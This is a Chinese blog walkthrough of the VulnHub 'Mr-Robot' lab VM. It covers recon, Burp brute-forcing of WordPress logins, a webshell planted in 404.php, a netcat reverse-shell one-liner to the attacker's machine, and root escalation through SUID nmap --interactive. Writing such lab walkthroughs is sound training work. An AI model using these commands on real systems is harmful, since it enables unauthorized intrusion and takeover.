Mr.Robot

最近在看黑客军团(Mr.Robot),其实说实话我觉得这片还是有点像心理犯罪片,以前看的时候有点看不懂在干啥(也可能智商问题),在逛vulnhub的时候又刚好看到有个以这个命名的靶机,就下载下来玩玩了。

项目地址

http://www.vulnhub.com/entry/mr-robot-1,151/
难度:Low-Medium

测试环境

攻击机:Parrot 192.168.56.15 (host-only)
目标靶机:Ubuntu 192.168.56.102 (host-only)

信息收集

首先,打开大鹦鹉。使用arp扫描查找目标IP.arp-scan -I eth1 -l,使用 -I/--interface参数指定网络适配器,逐个查找目标计算机。
0
1
扫描目标以查看哪些端口打开。nmap -sS -p- -n 192.168.56.102
-sS 使用TCP SYN连接扫描。
-p- 扫描全端口
-n 不进行DNS域名解析
扫描后,你可以看到目标开启了80、443端口,22端口显示关闭。在浏览器访问目标网站服务器
2
浏览器访问界面看起来像是个Bash,输入几个常用命令,均显示错误,输入help命令后,会弹出几个可用的自定义命令,应该只是一个php或静态页面,尝试了一下,没有可以利用的点。
3
在访问robots.txt文件时,发现两个敏感文件(fsocity.dic和key-1-of-3.txt)。访问key-1-of-3.txt文件获取到第一个Key。fsocity.dic看起来像一个字典文件,先保存下来.
4
5
6

在目录遍历的过程中,我找到一个登录页,访问它,是一个WordPress程序,访问wp-admin路径并找到后台登录页。但我没有帐户密码。考虑到先前下载的fsocity.dic是一个字典文件,我可以用其进行暴力破解。
7
8

暴力破解

在进行爆破前,我需要知道用户名是什么,我测试了几个常用的用户名,但均显示用户不存在,我觉得用户名应该也存在于刚才的字典内。然后添加变量为user_login参数。
首先打开BurpSuite并抓取数据包,将捕获的请求数据包发送到入侵模块。按清除按钮清除默认选择的变量。
9
但我发现先前保存的字典有7点多mb大小。我想可能需要清除一些重复的字段。使用’cat fsocity.dic | sort-u>fsocity’命令将重复的检查结果保存到文件fsocity,以看到,执行后的文件大小仅为95k。在Burp中导入字典。根据设备配置设置resource pool,然后start attack。
10
11
11
破解后有三个用户名返回的包大小与其他包不一致,查看返回包,可以发现用户名存在,但无法向邮箱发送电子邮件(可能是配置问题),但并不妨碍我们进行下一步行动。
13

找到用户名,下一步是爆破密码。返回登录页面并获取包含登录信息的数据包。同样,将其发送到Intrude模块并清除默认变量。这一次,您需要添加两个变量logpwd(因为要破解的用户名不是唯一的),并将攻击类型设置为Cluster bomb。将三个刚刚破解的用户名添加到payload1,并将fsocity.dic字典加载到payload2。设置resource pool后,start attack。
14
15
16
17
18

上传Web Shell

暴力破解后,会得到三组用户名和密码(elliot/ER28-0652、elliot/ER28-0652、elliot/ER28-0652)。三组密码都可以成功登录。使用其中一个登录到管理面板。
19
20

一般WordPress可以在appearance的editor子项中编辑PHP文件。我们可以通过修改404.php来写入WebShell。然后使用AntSwarm连接到WebShell(http://192.168.56.102/wp-content/themes/twentyfifteen/404.php)
21
22
23

在查看网站根目录中的文件时发现了三个可疑文件(License.txt、License.bk、you-will-never-guess-this-file-name.txt)。License本身并不可疑,但我不知道它为什么需要备份。
24
通过检查文件内容,可以发现license.bkyou will event this file name.txt并没有什么问题,但文件license.txt中有一串经过Base64加密的密文。
25

通过使用工具解密,可以看出它只是刚刚爆破出来的WordPress网站的后台账号密码。
26

在查看用户的家目录时,我在robot用户的家目录中发现了两个文件。查看第一个文件时,系统将提示您权限不足。使用ls命令查看文件的所有者为robot,Key-2-of-3.txt只能由robot或root读取,但幸运的是,可以查看第二个文件。
27
28

查看password.raw-md5文件,返回一段字符串。判断它是一串MD5密文。通过网站解密,解密后的密文是robot/abcdefghijklmnopqrstuvwxyz,这应该是robot用户的帐户密码(解密时,我使用的第一个网站是cmd5.com,但我发现它居然需要付费才能查看。然后我使用了somd5.com,幸运的是,它比较良心,并没有向我收费)。
29
30
31

生成TTY Shell

现在已经拥有了robot的用户名和密码,可以直接登录到robot用户查看第二个key。但是,在webshell中直接使用su命令将返回错误,并且在先前扫描端口时并没有发现目标开启SSH或Telnet服务。所以我需要先创建一个反弹shell。
32
在执行过程中,我尝试了几种方法,但都没有成功反弹。最后,我使用了rm/tmp/f;mkfifo/tmp/f;cat/tmp/f | /bin/bash-i 2>&1 | nc 192.168.56.104 8848>/tmp/f命令成功执行。在执行该命令之前,您需要在攻击机打开一个终端并输入nc-lvvp 8848命令侦听来自目标机器的连接。
33
34

要切换到robot用户,我需要生成一个TTY会话,并使用python -c 'import pty;pty.spawn("/bin/bash")'命令生成TTY Shell。然后使用刚刚解密的密码通过su命令切换用户,并查看robot家目录下的第二个密钥。
35

提权

剩下最后一个key,使用find / -name key-*.txt 2>/dev/null命令扫描整个系统。但是,由于权限不足,甚至找不到第一个key,考虑提权。
36

使用find / -perm -04000 2>/dev/null命令在系统中查找具有suid权限的文件列表。找到nmap命令并查看其版本信息。5.2.0版之前的Nmap具有交互功能,可用于提权。幸运的是,这个版本是3.8.1,符合版本。
37
38

执行nmap --interactive命令进入交互模式并输入!sh打开了一个shell。当检查用户的身份时,可以发现它正在以root用户身份运行。
39

再次查找,在root目录中找到第三个key。直接查看该文件。
40

Game Over